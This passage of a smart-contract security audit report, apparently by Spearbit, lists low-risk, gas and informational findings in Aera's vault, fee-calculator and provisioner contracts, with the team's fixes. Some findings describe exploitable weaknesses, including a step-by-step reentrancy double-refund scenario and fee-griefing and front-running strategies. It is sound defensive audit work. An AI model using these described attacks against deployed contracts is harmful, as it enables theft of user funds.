Recommendation: While the above scenario is unlikely to occur, to be on the safe side, consider checking `_noPendingApprovalsInvariant()` after `_afterSubmitHooks()` (i.e., at the end of the `submit()` function) to explicitly guarantee that no approvals are left at the end of the submission.

Aera: Fixed in PR 218.

Spearbit: Verified.

5.3.5 Vault Can Become Permanently Paused if Admin Roles Are Set to Zero

Severity: Low Risk

Context: Auth2Step.sol#L48-L54

Description: In the `Auth2Step` contract, which extends Solmate's `Auth`, there is currently no safeguard preventing both the `owner` and the `auth` address from being set to the zero address simultaneously. This is a highly unlikely configuration, but if it occurs and the vault is later paused, no authorized party would be able to unpause it. The `pause` and `unpause` functions in `BaseVault` rely on `onlyOwnerOrAuth`, and with both roles set to zero, those operations become permanently inaccessible.

While edge-case in nature, this represents a loss of control over critical vault administration and could result in funds being indefinitely locked due to an unresolvable pause state.

Recommendation: Consider enforcing a check during ownership or `auth` transitions to ensure that at least one of `owner` or `auth` remains non-zero at all times. This can be done by validating the new values in the respective setter functions, adding a lightweight safeguard against accidental misconfiguration that could impact vault operability.

Aera: Fixed in PR 346 by removing 'renounceOwnership' function.

Spearbit: Fix verified.

5.3.6 Incomplete Authority Check for Setting Vault Fees in `BaseFeeCalculator`

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: The `BaseFeeCalculator` contract's `setVaultFees` function currently checks that the caller is the owner of the vault by verifying:

- BaseFeeCalculator.sol#L70:

```
if (msg.sender != ISingleDepositorVault(vault).owner()) revert FeeCalculator__OnlyOwner();
```

This check assumes that only the `owner` of a vault should be authorized to modify its fee parameters. However, vaults built on `BaseVault` inherit from `Auth2Step`, not from a traditional `Ownable` contract. In `Auth2Step`, ownership can be renounced (setting the owner to `address(0)`), while an `auth` address can still retain administrative authority.

After ownership renouncement, this check would permanently prevent a vault from updating its fees, even if an authorized administrator (`auth`) is still active and should be allowed to perform administrative operations.

While this situation is rare and generally discouraged, it represents a mismatch between the vault's real authority model (`owner OR auth`) and the enforced access control in the fee configuration.

Recommendation: Consider updating the access control logic in `BaseFeeCalculator.setVaultFees` to allow either the vault `owner` or the vault `auth` to call the function, aligning it with the vault's internal authority model. Alternatively, document this limitation explicitly if supporting fee updates post-ownership renouncement is not a design goal.

Additionally, it could be beneficial to note that vaults inherit from `Auth2Step` rather than `Ownable`, which clarifies the expected ownership semantics.

Aera: This is intentional. The `Auth` contract is responsible for determining which addresses can call which functions on a given contract. They do not ascribe any semantics to what "roles" these addresses have. For that reason, these permissions are not exposed to external users.

Spearbit: Acknowledged by Aera team as indicated. This is an intentional design decision.

5.3.7 Dispute Period Can Be Postponed Indefinitely by Continuous Snapshot Submission

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: In `DelayedFeeCalculator`, the submitSnapshot function allows submitting a new snapshot even when a previous pending snapshot exists and its dispute period has not expired. Submitting a new snapshot in this case overwrites the existing pending snapshot and resets the dispute period timer.

This behavior creates a scenario where a snapshot submitter could indefinitely postpone snapshot finalization — and therefore indefinitely delay fee accrual — simply by repeatedly submitting new snapshots before the dispute window elapses.

This could be exploited for griefing purposes or occur accidentally through misconfigured automated submitters. In either case, it could starve vault fee recipients and the protocol treasury of expected fee revenue.

Recommendation: Consider introducing restrictions to limit how often pending snapshots can be overwritten, such as:

- Requiring a minimum delay between snapshot submissions.
- Limiting the number of consecutive overwrites without finalization.
- Enforcing a hard cap on dispute extensions.

Alternatively, document this behavior explicitly and ensure that snapshot submitter roles are carefully permissioned and monitored to prevent abuse.

Aera: Acknowledged. This is part of the trust model. Will add to docs.

Spearbit: Acknowledged by Aera team.

5.3.8 Early return in `CallbackHandler.fallback()` could block subsequent callbacks

Severity: Low Risk

Context: CallbackHandler.sol#L51-L67

Description: If a callback has `userDataOffset` set to `NO_CALLBACK_DATA`, i.e., no data processing is needed, the fallback function will return early at L59, and therefore, the `_getAllowedMerkleRoot()` function at L61 will not be called.

Without calling `_getAllowedMerkleRoot()`, the `CALLBACK_MERKLE_ROOT_SLOT` will not be reset to 0, which will block subsequent operations from setting callbacks since `_allowCallback()` requires the slot to be 0.

Recommendation: Consider moving the `userDataOffset == NO_CALLBACK_DATA` if statement after the `root != bytes32(0)` check so that the Merkle root slot will be reset to 0 in the case of the early return.

Aera: Fixed in PR 222.

Spearbit: Verified.

5.3.9 Changes to protocol fees may affect unclaimed but finalized fees

Severity: Low Risk

Context: BaseFeeCalculator.sol#L56-L57

Description: Changing the protocol fee will affect all past unclaimed fees, including those already finalized, not only the fees accrued after the change. Consider the following example:

1. The protocol fee is set to 10%. The accountant submits a snapshot, and the owner agrees with it.
2. The dispute period has passed.
3. The protocol fee is changed to 20%, which immediately applies to the unclaimed fees.
4. The protocol fees are claimed before the owner notices the change.

Recommendation: To be accurate, fees finalized before the protocol fee change should still use the old value. This could be a protocol design choice since it would require keeping track of the timestamps of each protocol fee change, which could introduce additional complexity to the code.

If no change to the code is made, one mitigation could be encouraging fee recipients to claim fees as soon as possible, or requiring the protocol fee change to use a timelock so that vault owners will be aware in advance.

Aera: Acknowledged. This is part of the trust model to keep the code simple. We plan to carefully communicate any protocol fee changes so that fees can be claimed in advance.

Spearbit: Acknowledged.

5.3.10 `Auth2Step` uses different modifiers from `Auth`

Severity: Low Risk

Context: Auth2Step.sol#L61

Description: Solady's `Auth.transferOwnership` uses `requiresAuth` modifier which checks `isAuthorized(msg.sender, msg.sig)`. However in `Auth2Step.transferOwnership` the `onlyOwner` modifier is used, which slightly differs from original behavior as it ignores the `authority` contract.

Aera: Acknowledged.

Spearbit: Acknowledged by Aera team.

5.3.11 Potential confusion between before- and after-hooks

Severity: Low Risk

Context: HooksLibrary.sol#L36-L45

Description: Based on how `hasPreHooksBeenCalled()` is designed, there is an implicit assumption of hooks: The second call to it is assumed to be a post-op call.

However, this is not necessarily true when taking callbacks into account. Consider a case where an operation calls a function with before- and after-hooks, while during the operation, a callback is received, which calls that function again. In this case, the hook execution should be "before → before → after → after", while the hook contract considers it to be "before → after → before → after", i.e., the second call to the hook is treated as a post-op call instead of pre-op.

Before-hooks should return the extracted data for Merkle proof verification, while after-hooks do not return any data by design. As a result, in the above scenario, the second call to the hook does not return any data and will cause the verification to fail since all the before-hooks at the time of writing return non-empty data.

However, if, in the future, a before-hook that does not return any data is implemented, the confusion between before- and after-hooks might become exploitable.

The above also shows a limitation and edge case: The exact function with before- and after-hooks cannot be called again within a callback.

Recommendation: It would be better if the hook contract could be aware of whether the call to it is a pre-op or post-op call. Some possible mitigations are:

1. Before the call to hooks, the vault stores an `IS_PRE_OP` flag in transient storage. During the execution of the hook, the hook then calls the vault to read the flag and determine whether the call is pre- or post-op.
2. Instead of calling the operation hooks with the calldata of the operation, consider following the same approach for submit hooks, e.g., defining the `beforeOperation()` and `afterOperation()` functions. This approach is more explicit about the flow as it explicitly signals the hook whether the call is pre- or post-op. Also, this approach makes access control on hooks easier. Instead of allowing the vault to call potentially any function on the hook contract, we restrict it to two functions only.

Note that if the "before → before → after → after" case is intended to support, the hook contracts may need to implement a mechanism of preserving the state or necessary information of pre-op calls (e.g., using a stack-based approach) so that the hooks could preform actions based on the correct state in the corresponding post-op calls.

If none of the above suggestions is implemented, it should be documented that before-hooks must return non-empty data to mitigate this issue, even though they could perform all the necessary checks in the contract and do not have to return any data.

Aera: Fixed in PR 325 and PR 348.

Spearbit: Verified.

5.3.12 Ensuring token allowances are zero after depositing into the vault

Severity: Low Risk

Context: SingleDepositorVault.sol#L27-L38

Description: The `deposit()` function of `SingleDepositorVault` allows the owner or an authorized party to deposit funds into the vault. Before calling `deposit()`, the vault should have enough allowance to transfer the tokens from the depositor.

In the case where the depositor unintentionally approves the vault for more than needed, i.e., there is an excessive allowance after the call, they are exposed to the risk of a compromised guardian transferring their token to another

address. Note that the compromised guardian still needs permission to call `transferFrom()`, etc., to exploit the excessive allowance.

Recommendation: Consider checking `tokenAmount.token.allowance(msg.sender, address(this)) == 0` at the end of each `safeTransferFrom()` call as a general way to prevent this issue regardless of whether the guardian is granted with a `transferFrom()` or similar permission.

Aera: Fixed in PR 288.

Spearbit: Verified.

5.3.13 `_verifyERC7726Oracle` Could Perform Interface or Dry-Run Validation

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: The `_verifyERC7726Oracle` function in `OracleRegistry` currently ensures only that the oracle address is non-zero. While this check prevents trivial misconfiguration, it does not confirm that the oracle actually implements the expected ERC-7726 interface or is callable without error.

As `OracleRegistry` is likely to become the sole source of price data for the protocol, enhancing the robustness of this validation would reduce the likelihood of invalid or misbehaving oracles being accepted and later causing failures in slippage hooks or asset accounting.

Recommendation: Consider extending `_verifyERC7726Oracle` with one of the following lightweight validations:

- Interface check: Call `supportsInterface(type(IERC7726).interfaceId)` to verify the oracle advertises the expected interface.
- Dry-run call: Perform a staticcall to `getQuote(baseAmount, base, quote)` with benign arguments (e.g., small test values) to check the oracle responds as expected and does not revert.

These checks would add minimal gas overhead at the point of configuration but would catch a wide range of misconfigured or incompatible oracles early, before integration with live vaults.

Aera: Fixed in PR 289 by a dry-run static call.

Spearbit: Fix verified.

5.3.14 KyberSwap Hook Does Not Properly Support Native Token Swaps

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: In IMetaAggregationRouterV2.sol#L38-L41, the `swap` function is marked `payable`, aligning with KyberSwap's native token interface. The vault is now capable of handling native currency, but the current implementation of the hook does not correctly support this use case.

Balance checks in the slippage logic rely on `msg.sender` and are designed for ERC20 tokens. When using ETH, KyberSwap represents it with the placeholder address `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE`. This address is not handled specially in the hook, and is passed to both balance checks and oracle quote lookups as if it were an ERC20. As a result, the slippage check cannot be evaluated properly.

Rather than behaving unexpectedly, the transaction will revert when the slippage enforcement fails to verify the expected asset delta, even though the operation itself might be valid.

Recommendation: To properly support native token swaps, consider recognizing `0xEeeee...` in the hook and routing logic accordingly — for example, by using `address(this).balance` in balance tracking and applying consistent treatment across oracle lookups. If native ETH support is not yet desired, explicitly rejecting operations involving this address (as done in the ODOS hook) would prevent confusion and make the behavior clearer to integrators.

Aera: Fixed in PR 347.

Spearbit: Fix verified.

5.3.15 Avoid integer overflows when solving auto-price requests

Severity: Low Risk

Context: Provisioner.sol#L451, Provisioner.sol#L569

Description: For auto-price requests, users can specify a `solverTip` value, which will be given to the solver when filling the orders. In the `_solveDepositVaultAutoPrice()` function, it would be better to check `request.token > solverTip` before the subtraction at L451 to avoid integer overflow, which would cause the transaction to revert. An alternative is to add the check in the `requestDeposit()` function.

Similarly, in the `_solveRedeemVaultAutoPrice()` function, a `tokenOut > solverTip` check could be done before the subtraction at L569.

Recommendation: Consider adding the above checks to prevent potential integer overflows from reverting the transaction. Based on similar logic in the functions, the functions should return 0 (instead of reverting) if an order could not be filled.

Aera: Fixed in PR 328.

Spearbit: Verified.

5.3.16 Fees could be overcharged due to delayed price updates

Severity: Low Risk

Context: PriceAndFeeCalculator.sol#L292

Description: Instead of regularly posting an update, the accountant might have a strategy to incur more fees by skipping updates when the unit price or the total supply of the vault decreases. The accountant posts an update when the price or total supply increases back to the original value or more.

For example, assume that in the following four consecutive days, the unit price is 2000, 1500, 1500, 2000, and the vault TVL does not change:

1. If the accountant updates the price daily, the fees are calculated based on a price of 1500, since a lower value is used for fee calculation.
2. If the accountant accrues fees only on the first and last day, the fees are calculated based on a price of 2000, even though the price went down during this period. The fees are overcharged as a result.

For this strategy, the accountant needs to speculate on the price and/or the total supply, and therefore, it is not guaranteed to succeed. At the same time, it shows how the fees could be overestimated, either intentionally or not.

Recommendation: A possible mitigation could be requiring a heartbeat for the price updates (i.e., maximum delay of price updates).

Aera: Fixed in PR 355.

Spearbit: Verified. A new variable, `maxUpdateDelayDays`, for each vault is introduced, and the vault state will be paused if the accountant submits a price with a delay exceeding the threshold. The accountant needs to submit prices regularly within the period so as not to trigger the pause on the vault.

Note that the vault is not automatically paused if the max delay threshold has passed until the accountant submits a price. Users should prevent themselves from using stale prices by setting a small enough `maxPriceAge` in their orders.

5.3.17 Solvers could profit from front- and back-running price updates

Severity: Low Risk

Context: Provisioner.sol

Description: Solvers can instantly fill their orders with the `solveRequestsVault()` function to deposit into or redeem from the vault if it has enough liquidity. Therefore, solvers theoretically could try to front- and back-run a price updating transaction from the accountant and extract value from the vault.

Although the deposit and redemption premiums mitigate this issue, the price change could still be large enough to make the trades profitable.

Recommendation: Considering setting a large enough deposit and redemption premiums, compared to the price differences between updates and the vault's `maxPriceToleranceRatio` and `minPriceToleranceRatio` values, so that the arbitrage is unprofitable.

Another mitigation could be introducing other factors to disincentivize the solvers from doing so. For example, a deposit can be required from solvers and forfeited if the solver misbehaves.

The accountant could also use services, such as private mempools, which provide front-running protection to mitigate the risk of being front-run. The vault owner or protocol could also monitor the contracts to detect potentially misbehaving solvers and remove them from the allowlist.

Aera: Acknowledged. We will make sure accountants are using a private mempool and clearly document this trust assumption.

Spearbit: Acknowledged.

5.3.18 Incorrect rounding direction when calculating the required tokens for deposits

Severity: Low Risk

Context: PriceAndFeeCalculator.sol#L342-L354

Description: The `_convertUnitsToToken()` function in `PriceAndFeeCalculator` converts a given number of units to the amount of a given token. Note that the result is underestimated since the integer division in the calculation rounds down. This function is indirectly used in the two functions: `_unitsToTokensFloor()` and `_unitsToTokensCeil()`:

1. The `_unitsToTokensFloor()` function calculates how many tokens users can receive when redeeming from the vault. Therefore, rounding the result down is correct.
2. The `_unitsToTokensCeil()` function calculates how many tokens users need to provide when depositing into the vault. Therefore, it should use a round-up result in order not to favor the users.

Although the `_unitsToTokensCeil()` rounds up the division when applying the multiplier, since it can be 1, the overall result could still be rounded down. Users could end up paying fewer tokens than they should.

Recommendation: Consider passing a variable to the `_convertUnitsToToken()` function to signal if the division should round up or down. Round up the division when the function is used in `_unitsToTokensCeil()`.

Aera: Fixed in PR 342.

Spearbit: Verified.

5.3.19 `setUnitPrice` takes effect on pause branch

Severity: Low Risk

Context: PriceAndFeeCalculator.sol#L159

Description: in setUnitPrice if the vault is paused, the call to `_validatePriceUpdate` will revert.

However, on the pause branch this check is already passed, leading to mixed behavior where on the first such call state changes take effect:

```
function setUnitPrice(/*...*/) {
    // ...

    _validatePriceUpdate(vaultPriceState, price, timestamp); // <== require(!paused) here

    if (_shouldPause(vaultPriceState, price, timestamp)) {
        // Effects: pause the vault
        vaultPriceState.paused = true; // <== too late here, no early return
    } else {
        // ...
    }

    // Effects: set the unit price and last update timestamp
    vaultPriceState.unitPrice = price;
    vaultPriceState.timestamp = timestamp;

    // Log the unit price update
    emit UnitPriceUpdated(vault, price, timestamp);
}
```

Consider not updating `unitPrice` in case a pause is triggered, possibly `timestamp` too. note that `accrueFees` uses `timestamp` too so the decision will affect it.

Aera: Fixed in PR 339. We kept the ability to change unit price when vault is paused, to have price recovery mechanism.

Spearbit: Verified. Note that when the vault is paused, the unit price and timestamp can be updated, which allows the accountant to correct the price if it is incorrect. A new variable, `accrualLag`, is introduced for each vault, which is added to the total time delay when accruing the fees to account for the fees during the pause period correctly.

5.3.20 Fee-on-Transfer and Non-Standard Token Behavior Not Supported

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: In both sync and async deposit flows — as seen in Provisioner.sol#L158-L191 and Provisioner.sol#L436-L476 — the protocol assumes that the amount of tokens transferred via `transferFrom` or `safeTransferFrom` will match the intended deposit amount exactly.

This logic is not compatible with:

- Fee-on-transfer tokens (e.g., tokens that deduct a percentage on each transfer),
- Rebasing tokens that adjust balances after deposit,
- Deflationary or redirecting tokens that reduce the net amount received,
- Tokens with hook-based transfer logic or non-standard `transferFrom` behaviors.

Since the amount transferred is not validated via a pre/post balance delta or adjusted in response to what the vault actually receives, any mismatch may result in silent value loss or incorrect vault accounting. The user may receive fewer shares than expected, or vault totals may drift.

Recommendation: It may be helpful to document clearly that only standard ERC20 tokens are supported, and to explicitly warn against depositing tokens with fee-on-transfer or rebasing behavior.

In the longer term, supporting these token types would require implementing post-transfer balance checks (e.g., comparing `balanceBefore` and `balanceAfter`) or deposit value quoting based on actual received amounts — but this would increase gas cost and complexity.

Aera: Acknowledged. Will not fix.

Spearbit: Acknowledged by Aera team.

5.3.21 Vault Asset Should Not Be Listed as a Provisioner Deposit Token

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: In Provisioner.sol#L342-L363, the contract allows a vault manager to configure a set of allowed tokens for deposit. There is currently no restriction that prevents the vault's own unit token (i.e., the ERC20 representing shares in the vault) from being listed as an allowed token.

If the vault's own token is mistakenly added to this list:

- Users or privileged actors could deposit vault units back into the vault itself.
- This could result in circular deposits, inflated vault unit balances, or broken accounting.
- It would violate expected asset-token separation and could lead to downstream insolvency or redemption failure.

This pattern resembles a recursive self-deposit and creates a risk of artificial vault growth disconnected from real asset inflows.

Recommendation: Consider enforcing a check in the `setTokenConfig` function to prevent the vault's own asset (i.e., `address(this)` or `vault.asset()` if exposed) from being listed as an allowed deposit token. This would ensure that vault units cannot be re-deposited as if they were external assets.

Combining this with the previously discussed `msg.sender != vault` check would close the loop on self-deposit and recursive inflation scenarios.

Aera: Fixed in PR 333.

Spearbit: Fix verified.

5.3.22 Follow CEI Pattern to Avoid Reentrancy Risk

Severity: Low Risk

Context: *(No context files were provided by the reviewers)*

Description: In the current implementation of `Provisioner`, there is a potential reentrancy vector between `solveRequestsDirect` (via `_solveDepositDirect`) and `refundRequest`, as seen in Provisioner.sol#L304-L327 and L230-L258.

The `asyncDepositHashes` mapping is updated only after transferring tokens during `solveRequestsDirect`, which means that during a callback (e.g., from a malicious token contract), the attacker can call `refundRequest`. This results in the token being transferred again from the `Provisioner`, causing double withdrawal of the same deposit.

To construct this attack:

- The attacker first creates a deposit request for a stale or invalid price that will not be solved.
- When calling `solveRequestsDirect`, the vault attempts to execute the deposit, transferring tokens to the vault.
- During this transfer, the attacker re-enters and calls `refundRequest`, which executes before the `asyncDepositHashes` entry is cleared.
- As a result, both functions complete and transfer the same tokens, enabling the attacker to extract twice their deposit.

While this scenario is highly unlikely today due to several constraints (non-acceptance of tokens with callback behavior, no support for ERC777-like tokens, no native currency support yet), it remains an architectural hazard if native currency or callback-based tokens are ever supported.

Recommendation: To follow CEI best practices and prevent this class of issue:

- Move the clearing of `asyncDepositHashes` earlier in `_solveDepositDirect`, before any external token transfers.

- Consider doing the same in `_solveRedeemDirect` to future-proof symmetric flows.
- Optionally apply `nonReentrant` modifiers on user-facing functions like `solveRequestsDirect` and `refundRequest`.

These changes would align the functions with reentrancy-safe patterns already followed in other parts of the codebase.

Aera: Fixed in PR 346.

Spearbit: Fix verified.

5.4 Gas Optimization

5.4.1 Redundant Zero Address Checks in Transfer Hooks

Severity: Gas Optimization

Context: *(No context files were provided by the reviewers)*

Description: Both `TransferWhitelistHooks` and `TransferBlacklistHooks` include the following check:

```
if (from == address(0) || to == address(0)) return true;
```

This is typically used to avoid processing zero address transfers, which may occur during minting or burning. However, in the current system design:

- The underlying ERC20 implementation used by vaults is from OpenZeppelin, which already **reverts** on any transfer from or to the zero address at the `_transfer` level.
- The hooks are only invoked during standard `transfer` or `transferFrom` operations (i.e., vault share transfers), **not** during `_mint` or `_burn`.
- As a result, the hook will never be called with `from` or `to` set to `address(0)` under normal or even edge-case conditions.

This makes the zero-address check redundant in this context.

Recommendation: While the check does no harm and may be retained as defensive programming, it could be safely removed to slightly simplify the logic and reduce gas in some edge paths. If retained, a clarifying comment may help future developers understand that it is not required by the current integration pattern.

However, as noted by the team in issue #187, these hooks are being finalized for multi-depositor vaults where they will instead hook into the _update function. If that integration reintroduces scenarios where mint or burn may invoke the hook, the condition may become relevant again. Consider revisiting this logic once that path is fully integrated.

Aera: Fixed in PR 201.

Spearbit: Fix verified. The check is relevant now as not it overrides the `_update` function.

5.5 Informational

5.5.1 Suggestions on code comments and naming

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Context: IBaseVault.sol#L95-L99, CallbackHandler.sol#L222-L224, FeeVault.sol#L68-L73, FeeVault.sol#L26-L27, HooksLibrary.sol#L61-L68, Types.sol#L204-L207

Description:

1. IBaseVault.sol#L95-L99: The `setGuardianRoot()` function does not allow removing guardians since it checks `root != bytes32(0)`. Consider updating the comment at L96 to:

```
- /// Used to add, remove guardians and update their permissions
+ /// Used to add guardians and update their permissions
```

2. CallbackHandler.sol#L222-L224: Consider adding a comment to the `_packLengthAndToken()` function:

```
+ /// @dev `length` is required to be less than `1 << 96`
```

3. FeeVault.sol#L68-L73: Consider updating the comment since the `feeCalculator` has been changed to a state variable. The declaration of `feeCalculator` at FeeVault.sol#L26-L27 needs to be moved to the `Storage` section as well:

```
- // Effects: set the fee recipient
+ // Effects: set the fee recipient and fee calculator
feeRecipient = feeRecipient_;
+ feeCalculator = feeCalculator_;

- // Effects: set the fee calculator and fee token immutables
+ // Effects: set the fee token immutable
- feeCalculator = feeCalculator_;
FEE_TOKEN = feeToken_;
```

4. HooksLibrary.sol#L61-L68: Consider renaming the function `getSenderSlot()` to, e.g., `getSenderWithSigSlot()` to be clear that the derived slot also depends on `msg.sig`, as it is an important design choice. The comments on the function need to be updated as well.
5. Types.sol#L204-L207: Consider updating the comments from "9990 = 1% premium" to "9990 = 0.1% premium".

Recommendation: Consider implementing the above suggestions.

Aera: Fixed in PR 300.

Spearbit: Verified.

5.5.2 Unused code

Severity: Informational

Context: CalldataReader.sol#L208, IBaseVault.sol#L32-L33, BaseFeeCalculator.sol#L18, Forwarder.sol#L15, Constants.sol#L46-L68

Description: The following function, errors, import, directive, and constants are unused and can be removed:

1. CalldataReader.sol#L208: The newly added `readBytes(uint256 length)` function is not used.
2. IBaseVault.sol#L32-L33: The `Aera__CursorNotAtTheEndOfCalldata()` and `Aera__InvalidExtractedDataLength()` errors are not used.
3. BaseVault.sol#L14: The `Auth` contract imported from "@solmate/auth/Auth.sol" is not used.
4. BaseFeeCalculator.sol#L18: The `using SafeCast for uint256;` directive is not used.
5. Forwarder.sol#L15: The `using Address for address;` directive is not used.
6. Constants.sol#L46-L68: Among all the bit masks, only `MASK_8_BIT` and `MASK_16_BIT` are used, but the rest are not.

Recommendation: Consider removing the unused code.

Aera: Fixed in PR 220 and PR 350.

Spearbit: Verified.

5.5.3 `readBytesToMemory()` can be simplified

Severity: Informational

Context: CalldataReader.sol#L223-L226

Description: The first assembly block in the `readBytesToMemory()` function defined in `CalldataReaderLib` can be simplified using the `readU16()` function to avoid duplicated code and improve code readability.

Recommendation: Consider implementing the suggested change.

Aera: Fixed in PR 214.

Spearbit: Verified.

5.5.4 Misleading Comment in `transferOwnership` Function

Severity: Informational

Context: BaseVault.sol#L89-L90

Description: In the `BaseVault` contract, the comment above the `transferOwnership` function call at line 89 states "set the owner". However, the function actually calls `super.transferOwnership`, which in turn invokes the `transferOwnership` implementation from the `Auth2Step` contract. This implementation sets the **pending owner**, not the actual owner directly. Since the ownership transfer is a two-step process in this context, the comment may be misleading for developers unfamiliar with the override behavior.

This is a minor documentation inconsistency, but clarity around ownership logic is important, especially in security-critical contexts such as vault control.

Recommendation: Consider updating the comment to more accurately reflect the behavior, such as: "Sets the pending owner via Auth2Step two-step process." This small clarification can help reduce confusion when reviewing or extending the contract.

Aera: Fixed in PR 214.

Spearbit: Verified.

5.5.5 `_readOptionalU256` Function in `BaseVault` Can Be Relocated to `CalldataReaderLib`

Severity: Informational

Context: BaseVault.sol#L578-L585

Description: The function `_readOptionalU256` of the `BaseVault` contract is a general-purpose calldata utility that reads a `uint256` from a dynamic offset using inline assembly. This function does not interact with vault state and serves as a standalone helper. Its purpose and implementation are closely aligned with the functions already found in `CalldataReaderLib`.

Keeping this function inside `BaseVault` introduces a mild coupling of unrelated concerns and slightly increases contract surface without necessity.

Recommendation: Consider moving `_readOptionalU256` into `CalldataReaderLib`, potentially under the `ADDED BY AERA` section if that pattern is already in use. This would help consolidate low-level calldata utilities in a dedicated location, making the codebase easier to navigate and maintain.

Aera: Fixed in PR 214.

Spearbit: Verified.

5.5.6 Duplicate Root-Setting Logic on `BasicMerkleRootProvider` Can Be Encapsulated in Internal Function

Severity: Informational

Context: BasicMerkleRootProvider.sol#L15-L42

Description: In `BasicMerkleRootProvider`, both the constructor and the `updateMerkleRoot` function repeat the same logic to validate and set the Merkle root:

- Checking that the new root is not the zero value.
- Setting the `merkleRoot` storage variable.
- Emitting the `MerkleRootSet` event.

While this is a small duplication, consolidating the logic would improve maintainability and reduce the chance of future inconsistencies if the root update behavior evolves.

Recommendation: Consider extracting the common logic into a single internal (or private) function like `_updateMerkleRoot`, and invoking it from both the constructor and the external update function. The resulting structure could look as follows:

```
constructor(address owner_, bytes32 initialRoot) Ownable(owner_) {
    _updateMerkleRoot(initialRoot);
}

function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
    _updateMerkleRoot(newRoot);
}

function _updateMerkleRoot(bytes32 _root) internal {
    require(_root != bytes32(0), Aera__ZeroMerkleRoot());
    merkleRoot = _root;
    emit MerkleRootSet(_root);
}
```

This adjustment improves clarity and ensures the root-setting logic is consistently enforced across all entry points.

Aera: Fixed in PR 274.

Spearbit: Verified.

5.5.7 Lack of `onlyProtocolFeeRecipient` Modifier in `FeeVault`

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: The `FeeVault` contract enforces access control for the `claimProtocolFees` function by performing an inline `if` check against the `protocolFeeRecipient` FeeVault.sol#L133:

```
if (msg.sender != feeCalculator.protocolFeeRecipient()) revert FeeVault__OnlyProtocolFeeRecipient();
```

Meanwhile, similar access control for the `feeRecipient` role is encapsulated in a dedicated `onlyFeeRecipient` modifier. This inconsistency makes the codebase slightly harder to audit and maintain.

Modifiers help standardize and surface access control policies at the function signature level, improving readability, consistency, and future maintainability. Centralizing access control logic also aligns with common Solidity best practices.

Recommendation: Consider introducing an `onlyProtocolFeeRecipient` modifier in the `FeeVault` contract, following the pattern established by `onlyFeeRecipient`. Applying this modifier to `claimProtocolFees` would improve code consistency and clarity.

Example:

```
modifier onlyProtocolFeeRecipient() {
    if (msg.sender != feeCalculator.protocolFeeRecipient()) revert FeeVault__OnlyProtocolFeeRecipient();
    _;
}
```

and update `claimProtocolFees` accordingly:

```
function claimProtocolFees() external onlyProtocolFeeRecipient { ... }
```

Aera: Creating the modifier implies an extra call. Suggested version(after inlining modifier):

```
// Requirements: check that the caller is the protocol fee recipient
require(msg.sender == feeCalculator.protocolFeeRecipient(), Aera__CallerIsNotProtocolFeeRecipient());
// Interactions: claim the protocol fees
(uint256 protocolFees, address protocolFeeRecipient) =
    feeCalculator.claimProtocolFees(FEE_TOKEN.balanceOf(address(this)));
```

Spearbit: Acknowledged by Aera team to avoid an extra call.

5.5.8 Improper Claim Fees Handling Can Lead to Fee Loss if Called Unsafely

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: The `BaseFeeCalculator` `claimFees` and `claimProtocolFees` functions accrue and return fee amounts but do not transfer tokens internally. Instead, they zero out internal accounting balances and expect the caller (usually the vault) to perform the actual token transfers based on the returned values.

This design assumes that only trusted vault paths will call these functions correctly. However, two vectors exist where this assumption may be broken:

- Guardian Path: If the `BaseFeeCalculator` is mistakenly whitelisted for a guardian via Merkle root setup, a malicious or misbehaving guardian could submit an operation calling `claimFees()`, zeroing out the accrued balances without performing any token transfer. This would result in a permanent loss of accrued fees.
- Owner Path: A vault owner can call `claimFees()` directly using `execute()`. If done improperly, it would zero balances without transferring tokens, again leading to fee loss.

While owner access is trusted by design, the guardian path could be abused if Merkle root configuration errors occur.

Recommendation: Consider strengthening protections by:

- Explicitly prohibiting `BaseFeeCalculator.claimFees` and `claimProtocolFees` from being called via guardian `submit()` operations (already advised in AEP-53, but could be enforced at the contract level).
- Optionally, adding access checks inside `BaseFeeCalculator` to only allow calls from recognized vault addresses, helping prevent misuse even in case of configuration mistakes.
- Alternatively, clearly documenting that improper calls to these functions without corresponding token transfers will cause irreversible fee loss, to help prevent mistakes by vault owners when using `execute()`.

Aera: Acknowledged. Will include in the documentation.

Spearbit: Acknowledged by **Aera** team.

5.5.9 FeeCalculator Does Not Allow Rollback

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: In `SingleDepositorVault`, the `setFeeCalculator` function attempts to call `registerVault` on the new `FeeCalculator` after updating the reference. However, if the target `FeeCalculator` (such as DelayedFeeCalculator) has already registered the vault previously, the `registerVault` call will revert.

This behavior effectively prevents rolling back to a previous `FeeCalculator` once a migration has been performed. Rollback attempts would fail, limiting operational flexibility in cases where reverting to a known working FeeCalculator becomes necessary.

Currently, this restriction only applies to FeeCalculator implementations that prevent re-registration, such as `DelayedFeeCalculator`.

Recommendation: Consider documenting this rollback limitation clearly for operators, especially around FeeCalculator migrations. Alternatively, if greater flexibility is desired, FeeCalculators could optionally support a "re-registration" path for known vaults, though this may introduce its own risks and should be designed carefully.

Clear operational guidelines around FeeCalculator upgrades can help mitigate unexpected failures during migration.

Aera: Acknowledged. Will include in the documentation.

Spearbit: Acknowledged by Aera team.

5.5.10 Including the failed operation index in custom errors

Severity: Informational

Context: SingleDepositorVault.sol#L65-L67

Description: In the `SingleDepositorVault.execute()` function, an `Aera__ExecutionFailed()` error is raised if an operation fails. The error could include the index `i` to provide more details on which operation failed, similar to `Aera__SubmissionFailed()`.

Recommendation: Consider implementing the above suggestions.

Aera: Fixed in PR 288.

Spearbit: Verified.

5.5.11 Declaring `SingleDepositorVault.execute()` as payable

Severity: Informational

Context: SingleDepositorVault.sol#L55

Description: The `SingleDepositorVault.execute()` function could be declared `payable` since the operations may execute calls with values to the target contracts. Although it is not strictly necessary if `BaseVault` is changed to receive native tokens, declaring the function `payable` would make using it more convenient.

Recommendation: Consider declaring the `SingleDepositorVault.execute()` function as payable.

Aera: Acknowledged. Won't fix as we don't want to provide this functionality.

Spearbit: Acknowledged.

